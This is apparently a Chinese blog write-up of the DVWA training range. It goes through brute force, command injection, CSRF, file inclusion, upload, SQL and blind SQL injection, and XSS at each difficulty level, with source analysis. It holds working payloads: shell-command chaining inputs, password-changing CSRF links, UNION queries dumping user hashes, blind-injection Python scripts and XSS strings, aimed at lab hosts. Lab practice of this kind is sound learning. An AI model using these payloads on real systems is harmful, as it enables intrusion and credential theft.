DVWA靶场学习
暴力破解Brute Force
low
输入密码就正常抓包放字典破解得了
uploading-image-528180.png
medium
同样的操作发现响应速度变慢了,但是还是能暴力破解,不多说了。
uploading-image-408161.png
部分源码解读
$user = $_GET['username'];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));
$pass = $_GET['password'];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));
$pass = md5($pass);
从get请求获取账号密码,mysqli_real_escape_string函数对用户名和密码进行转义,使用 md5 函数对密码进行哈希处理,这是一种老旧且不安全的存储密码的方式,因为 MD5 算法容易被破解,现在更推荐使用 password_hash 和 password_verify 函数。
// Login failed
sleep( 2 );
//查询失败暂停两秒
high
百度:Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。
源码增加了 CSRF(跨站请求伪造)防护机制,generateSessionToken(); 生成token。通过 checkToken 函数检查 user_token 和 session_token。这是一个重要的安全改进,防止恶意用户通过 CSRF 攻击来执行未授权的操作,对比 user_token 和 session_token 的一致性,以确保请求来自于合法用户。输入的账号密码用stripslashes函数去除反斜杠。在登录失败时添加了一个随机的延迟时间(0 到 3 秒)攻击者无法确定登录失败时的延迟时间,增加了暴力破解的难度。
为了方便测试假设已经知道账号是admin,随便输入密码抓包发攻击模块,选择音叉模式,密码和token处添加payload(注意整个操作过程bp的拦截不要放行,就让它拦在那,否则不成功)
payload1设置弱密码列表
payload2类型选择递归提取
点击设置-->检索-提取-->获取响应
然后找到源码中token的值双击,bp自动分析提取的特征,注意这里先把响应中token的值复制一下后面有用,点击确定
回到payload2设置,把刚刚复制的token粘贴到“首次请求初始payload”
最后自己建一个1线程的资源池,使用
开始爆破,成功
如果是简单破解的话返回的全是302,刷新发现报错token不对
impossible
源码分析:
防止sql注入的就不说了,因为这里是爆破题目
// 这里是定义最大失败次数和锁号时间,已经账号是否要锁定
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
$data = $db->prepare('UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;');
$data->bindParam(':user', $user, PDO::PARAM_STR);
$data->execute();//每次登录失败时,会更新用户的 failed_login 记录加 1,这样可以统计用户的登录失败次数。
//当登录失败次数达到 $total_failed_login(这里设置为 3)时,会将用户账户标记为锁定状态。
if (($data->rowCount() == 1) && ($row['failed_login'] >= $total_failed_login))
$last_login = strtotime($row['last_login']);
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
if ($timenow < $timeout) {
$account_locked = true;
}
//当账户锁定后,会根据 last_login 时间和 lockout_time(这里是 15 分钟)计算出一个超时时间 timeout,如果当前时间 timenow 还在超时时间内,账户会保持锁定状态,防止用户在一定时间内继续尝试登录。
还有一些不懂的函数,查一下
$db->prepare 函数:
这是 PDO(PHP Data Objects)中的一个方法,用于准备一个 SQL 语句,将 SQL 语句发送到数据库服务器进行预处理。
'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' 是一个 SQL 更新语句。它的目的是更新 users 表中的 failed_login 字段,将其值加 1。
(:user) 是一个命名占位符,这是 PDO 预处理语句的一个特点,用于在 SQL 语句中表示一个占位,后续会通过 bindParam 方法将实际的值绑定到这个占位符上,这样可以避免 SQL 注入攻击。
$data->bindParam(':user', $user, PDO::PARAM_STR); 函数:
bindParam 是 PDOStatement 对象(这里是 $data)的一个方法,用于将一个 PHP 变量绑定到 SQL 语句中的占位符上。
':user' 是要绑定的占位符名称,它对应于 SQL 语句中的 (:user)。
$user 是要绑定的 PHP 变量,它包含了用户的用户名。
PDO::PARAM_STR 是一个 PDO 常量,表示要绑定的数据类型是字符串。这告诉 PDO 如何正确地处理 $user 变量的数据类型,确保在 SQL 语句中正确使用。
$data->execute(); 函数:
这是 PDOStatement 对象的一个方法,用于执行已经准备好的 SQL 语句。
当调用 execute() 方法时,PDO 会将绑定的参数值插入到 SQL 语句的占位符位置,并将 SQL 语句发送到数据库服务器执行。
Command Injection
low
if (stristr(php_uname('s'), 'Windows NT')) {
// Windows
$cmd = 'ping '. escapeshellarg($target);
} else {
// *nix
$cmd = 'ping -c 4 '. escapeshellarg($target);
}
和传入的值直接拼接基本无过滤随便写个127.0.0.1;ls或者127.0.0.1&&pwd什么的过了
medium
黑名单
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
传个无效ip再用||再接命令,||表示前一个命令不执行就执行后一个
127.2222.2.1||pwd
high
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 首尾去除空格
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',//这里|后加了空格所以单单一个|还是可以绕
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
//黑名单中出现的字符替换为空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
csrf
low
http://36.138.228.8:8081/vulnerabilities/csrf/?password_new=111111&password_conf=111111&Change=Change#改密码是通过get请求该改的,如果从外部网站点击自己构造的链接
http://36.138.228.8:8081/vulnerabilities/csrf/?password_new=xxxxx&password_conf=xxxxx&Change=Change#也可以改变目标网站的密码
medium
这个就是加了个请求来自哪里(Referer:)的判断,从外部网站访问构造的csrf链接,改Referer:的值为靶场的值就得了
high
加了个token,其实也就是抓包右键生产csrf poc然后放弃请求包,poc中修改想要的password,然后浏览器打开即可
impossible
在前面基础上加了个当前密码验证,就是说你要改密码首先得输入旧密码,token方面没啥变化,也是更改一次后就更新token。
如果你知道受害者旧密码的话,用high等级的方法也是可以csrf的
File Inclusion
low
没啥检测,可以包含远程木马文件
medium
过滤http(s)和../ ..,data伪协议直接过了。注意url编码再传
high
源码解读:
fnmatch 是一个文件匹配函数,它使用通配符模式匹配字符串。在这里,"file" 是一个模式,!fnmatch( "file", $file ) 表示 $file 的值不匹配以 file 开头的任何字符串。
&& $file!= "include.php":总之你要是用file协议读include.php就会进入if语句执行报错,所以不能读这个文件。
这关只能用file协议,尝试读取本机文件, 因为是在线靶场,所以本机指的是搭建靶场的服务器,随便读个/etc/passwd或者/etc/mysql/my.cnf得了,这个靶场也不会把数据库密码泄露在这些文件中。
impossible
这就只能包含这三个文件了,其他都无法包含
File Upload
low
这个直接传一句话就得了,不记录了
medium
Content-Type检查,抓包把它值改成image/png即可
high
copy mn3.jpg/b+1.php 66.jpg 第一个参数是正常图片第二个是,第三个是保存为的图片名称
制作好图片上传后用文件包含关卡的low级别包含图片即可。
impossible
if ((strtolower($uploaded_ext) == 'jpg' || strtolower($uploaded_ext) == 'jpeg' || strtolower($uploaded_ext) == 'png') && ($uploaded_size < 100000) && ($uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png') && getimagesize($uploaded_tmp)):这部分代码对文件进行了多重检查。
扩展名检查:将文件的扩展名转换为小写,检查是否为 jpg、jpeg 或 png。
大小检查:确保文件大小小于 100000 字节。
MIME 类型检查:检查文件的 MIME 类型是否为 image/jpeg 或 image/png。
getimagesize($uploaded_tmp):确保文件确实是一个图像文件,因为这个函数会尝试读取图像文件的尺寸信息,如果文件不是图像文件,这个函数会失败。
对于图像文件,会使用 imagecreatefromjpeg 或 imagecreatefrompng 读取文件并重新编码存储到临时文件中,以去除可能的元数据。这会使得图片中嵌入的木马被重新编码
Insecure CAPTCHA
这关在线靶场没找到配置好的,都报错reCAPTCHA API key missing from config file: /var/www/html/config/config.inc.php,先不打了。
SQL Injection
low
单引号闭合报错双引号不报错,接着
id=0' union select 1,2--+判断处是两列,三列报错
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
返回
First name: 1
Surname: guestbook,users0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()--+
返回
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login0' union select 1,group_concat(user,":",password) from users--+
返回
First name: 1
Surname: admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99
密码应该是md5过的
medium
判断字符型还是数字型,判断出是数字型
懒得在查表了,之前查过了,反正是靶场。直接爆账号密码
源码使用 mysqli_real_escape_string 函数对 $id 进行转义。首先检查 $GLOBALS["___mysqli_ston"] 是否存在且是一个对象,如果是,就使用 mysqli_real_escape_string 对 $id 进行转义,以防止 SQL 注入。但是查询的时候用了数字型,所以仍然可以利用。
high
点击链接才能查询
双引号闭合不报错,单引号闭合报错,所以是单引号闭合,但是报错后就回不到原来的界面了,只能换一个在线靶场。
1' order by 2 -- qqq判断是两列,注意不能写--+,必须-- 注释
的形式比如(1' order by 2 -- qqq),不然报错后又回不了原来界面了。
观察回显位置:
0' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qqq查表
0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database() -- qqq查列
查数据
SQL Injection (Blind)
low
id存在
id不存在
有些靶场环境有问题,这里找了个比较好的http://89.169.157.206:8080
id=9是不存在的,但是id=9'||'1'='1是存在的,可以布尔盲注
库名应该不会太长。
1' and length(database())=x#判断出库名长度是4,
最后得到库叫dvwa
这里手工注入太麻烦,自己写脚本也没反应,sqlmap跑了一下发现检测不到注入,直接用其他人的payload了,反正是靶场。
通过盲注得到有两个表1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
好吧,后来研究了半天才把脚本搞出来(这里靶场环境一定要正常,不然不得):
import time
import requests
from urllib.parse import quote, quote_plus
headers = {"Cookie": "security=low; PHPSESSID=ssjqjht5b449b2dh4o33l33r72"}
dictionary = '-=+_,.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d = [i for i in range(65, 91)] + [i for i in range(97, 123)] + [i for i in range(48, 58)]
d.append(44)
# User ID
print(d)
result = ""
# 1' and ascii(substr(database(),1,1))=100 #"
# 遍历每个位置的字符
for i in range(1, 5):
time.sleep(1)
for j in d:
url = "http://210.6.26.42:8080/vulnerabilities/sqli_blind/?id="
payload = f"1' and ascii(substr(database(),{i},1))={j}#"
url = url + quote_plus(payload) + "&Submit=Submit#"
response = requests.get(url, headers=headers)
response.encoding='utf-8'
if "User ID exists in the database." in response.text:
print("find!")
result += chr(j)
print(result)
#爆表的数量
import requests
from urllib.parse import quote, quote_plus
headers = {"Cookie": "security=low; PHPSESSID=ssjqjht5b449b2dh4o33l33r72"}
dictionary = '-=+_,.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d = [i for i in range(65, 91)] + [i for i in range(97, 123)] + [i for i in range(48, 58)]
# User ID
print(d)
result = ""
# 1' and ascii(substr(database(),1,1))=100 #"
for i in range(1, 10):
url = "http://210.6.26.42:8080/vulnerabilities/sqli_blind/?id="
payload = f"1' and (select count(*) from information_schema.tables where table_schema=database())={i}#"
url = url + quote_plus(payload) + "&Submit=Submit#"
response = requests.get(url, headers=headers)
response.encoding='utf-8'
if "User ID exists in the database." in response.text:
print("find!")
#result += chr(j)
print(i)
#爆表名
for i in range(1, 30):
for j in d:
url = "http://210.6.26.42:8080/vulnerabilities/sqli_blind/?id="
payload = f"1' AND ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()),{i},1))={j}#"
url = url + quote_plus(payload) + "&Submit=Submit#"
response = requests.get(url, headers=headers)
response.encoding='utf-8'
if "User ID exists in the database." in response.text:
print("find!")
result += chr(j)
print(result)
后面爆数据的就改一下脚本得了,不写了。。。
medium
这个变成下拉框查询,抓包测试即可
high
和之前一样打,不过是另开一个窗口,抓包发现是cookie处注入
Reflected Cross Site Scripting (XSS)
low
<script>alert(222)</script>
直接测试
medium
过滤了<script>
用<img onerror="alert(222)" src="">
high
用medium的方法也可以打
源码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
我寻思这也没多高级啊,只对script做过滤其他标签是一个也不管是吧。
impossible
htmlspecialchars( $_GET[ 'name' ] );
直接转义了,所以无法注入html标签了
Stored Cross Site Scripting (XSS)
low
name处限制长度输入,前端改一下限制就可以了
comment处注入也可以
刷新再次进入页面也会出发xss
medium
name过滤了script,用img,然后comment处strip_tags()除去了一些html标签,htmlspecialchars()将特殊字符转换为 HTML 实体,所以只能在name处用其他标签注入
high
name处改长度限制
<img onerror="alert(222)" src="">
comment随便写
name处是只过滤script标签其他没动
DOM Based Cross Site Scripting (XSS)
low
dom型xss攻击不经过后端,检查前端代码
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
这段代码的主要目的是根据当前页面的 URL 中的 default= 参数,动态添加一个 元素到页面中,并添加一些其他的静态 <option>
元素。
首先,使用document.location.href.indexOf("default=") >= 0
来检查当前页面的 URL 中是否包含 default= 字符串。
如果包含,使用 document.location.href.substring(document.location.href.indexOf("default=")+8) 来提取default=后面的字符串,并将其存储在 lang 变量中。
然后,使用document.write() 函数创建一个<option>
元素,其 value 属性为提取出来的 lang 字符串,并且使用 decodeURI(lang) 对其进行 URI 解码,将其作为元素的显示文本。
之后,添加一个被禁用的<option>
元素,显示为 ----。
最后,添加几个静态的<option>
元素,分别代表不同的语言,如 English、French、Spanish 和 German.因此在url的default处注入代码
medium
过滤了script标签,img、a标签试过了也不得。因为插入的值是从select标签里面提取的,可以尝试闭合select标签</select><img src=# onerror=alert(1) onmouseover=alert(2)>
high
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
看网上wp是使用锚部分弹窗,这个之前真没见过,学到了
French#<script>alert(1)</script>
问gpt解释如下:
在 URL 中,# 号后面的部分被称为片段标识符(Fragment Identifier),它通常用于指向文档内的特定部分(如页面中的锚点)。
PHP 的 \(_GET 超级全局变量在解析 URL 时,会忽略 # 号及其后面的部分。所以,当你访问 default=French#<script>alert(1)</script> 时,\)_GET['default'] 只会得到 French。
简单说就是http://210.6.26.42:8080/vulnerabilities/xss_d/?default=French#中#后面的内容php的$_GET不接受但是js代码却接收了default=后面所有内容,造成绕过。
锚点用法https://www.cainiaojc.com/html/html-anchor.html
这关还真是看前端基础。
这下算是打完这个靶场了,其实一直不太想打这个因为这个靶场已经很老了。但是感觉自己基础不够牢还是硬着头皮打练了一下
DVWA靶场学习的更多相关文章
- DVWA靶场实战(五)——File Upload
DVWA靶场实战(五) 五.File Upload: 1.漏洞原理: File Upload中文名叫做文件上传,文件上传漏洞是指用户上传了一个可执行脚本文件(php.jsp.xml.cer等文件),而 ...
- DVWA靶场实战(四)——File Inclusion
DVWA靶场实战(四) 四.File Inclusion: 1.漏洞原理: 随着网站的业务的需求,程序开发人员一般希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通 ...
- DVWA靶场实战(三)——CSRF
DVWA靶场实战(三) 三.CSRF: 1.漏洞原理: CSRF(Cross-site request forgery),中文名叫做"跨站请求伪造",也被称作"one c ...
- DVWA靶场实战(二)——Command Injection
DVWA靶场实战(二) 二.Command Injection: 1.漏洞介绍: Command Injection,中文叫做命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令 ...
- DVWA靶场实战(一)——Brute Force
DVWA靶场实战(一) 一.Brute Force: 1.漏洞原理: Brute Force是暴力破解的意思,大致原理就是利用穷举法,穷举出所有可能的密码. 2.攻击方法: Burpsuite中的In ...
- DVWA靶场——靶场搭建
DVWA靶场搭建 一.phpstudy环境准备: 第一步:下载PHPstudy: 找到PHPstudy官网,下载windows版小皮面板,然后安装.官网下载地址:https://www.xp.cn/ ...
- DVWA靶场实战(六)——Insecure CAPTCHA
DVWA靶场实战(六) 六.Insecure CAPTCHA: 1.漏洞原理: Insecure CAPTCHA(不安全的验证码),CAPTCHA全程为Completely Automated Pub ...
- DVWA靶场实战(七)——SQL Injection
DVWA靶场实战(七) 七.SQL Injection: 1.漏洞原理: SQL Inject中文叫做SQL注入,是发生在web端的安全漏洞,主要是实现非法操作,例如欺骗服务器执行非法查询,他的危害在 ...
- DVWA靶场实战(九)——Weak Session IDS
DVWA靶场实战(九) 九.Weak Session IDS: 1.漏洞原理: Weak Session IDS也叫做弱会话,当用户登录后,在服务器就会创造一个会话(session),叫做会话控制,接 ...
- DVWA靶场实战(十)——XSS(DOM)
DVWA靶场实战(十) 五.XSS(DOM): 1.漏洞原理: XSS全称为Cross Site Scripting,由于和层叠样式表(Cascading Style Sheets,CSS)重名,所以 ...
随机推荐
- TIBCO Jaspersoft Studio-6.12.2连接mysql时显示时区问题
TIBCO Jaspersoft Studio-6.12.2创建mysql型的Data Adapter, 在进行连接test时弹出显示时区问题,如下图所示: 解决办法: 在Data Adapter W ...
- ImageSharp:高性能跨平台.NET开源图形库
在.Net中,System.Drawing有平台限制的问题,如果需要跨平台就需要使用第三方库. 今天推荐一个.NET开源图形库,不依赖任何库,支持跨平台的图形库. 01 项目简介 ImageSharp ...
- MACOS 降级
最近升级了macos 15.2,结果导致外接显示器显示不正常,经常断掉或者黑屏,因此macos进行降级处理: 1. 首先在App Store下载Ventura 系统; 2. 准备一个16G的U盘,然后 ...
- Solution Set -「LOCAL」冲刺省选 Round XXXI
\(\mathscr{Summary}\) 前期节奏太懒散,后面发现 C 题是水题都没时间写,提起精神来啊! A 题卡得比较久,对线性基的理解不够深刻,思来想去半天才把转移系数调对.B 题也卡 ...
- Mac安装NTL库
Mac安装NTL库 NTL是一个高性能.可移植的C++库,为任意长度的整数提供数据结构和算法:用于整数和有限域上的向量.矩阵和多项式:以及任意精度的浮点运算. 具有以下功能: 任意长度整数运算和任意精 ...
- Exfiltrated pg walkthrough Easy
80端口弱口令admin admin 发现cms 搜索exp 发现漏洞 https://www.exploit-db.com/exploits/49876 找到敏感数据库密码和用户 ╔════════ ...
- VAE模型简析和精要(原理和代码)
1. 前言 这篇博客主要用于记录VAE的原理部分. 一方面便于日后自己的温故学习,另一方面也便于大家的学习和交流. 如有不对之处,欢迎评论区指出错误,你我共同进步学习! 图均引用自4部分的博客!!!! ...
- 【小记】在 Google Colab 等平台上运行 GPU 容器
最近想到了可能的创新点,准备开始做实验了.咱想先在 Colab 这种提供免费 GPU 算力的平台上跑一些小实验,后续再转移到实验室机器上. 如果每次都要重复搭建环境多少有些麻烦了. 那咱用容器化技术不 ...
- Yarn公平调度器(Fair Scheduler)切换容量调度器(Capacity Scheduler)
一.调度器简介 Fair Scheduler称为公平调度器,是Apache YARN内置的调度器.公平调度器主要目标是实现YARN上运行的应用能公平的分配到资源,其中各个队列使用的资源根据设置的权重( ...
- Hetao P1031 萌萌题 题解 [ 蓝 ] [ 线性 dp ]
萌萌题:一道结合了观察性质的线性 dp. 观察 我们先考虑极端情况:所有数相同,所有数降序排列两种情况. 对于所有数相同的情况,我们发现,最终可以合并出来的区间,最多只有 \(n \log n\) 个 ...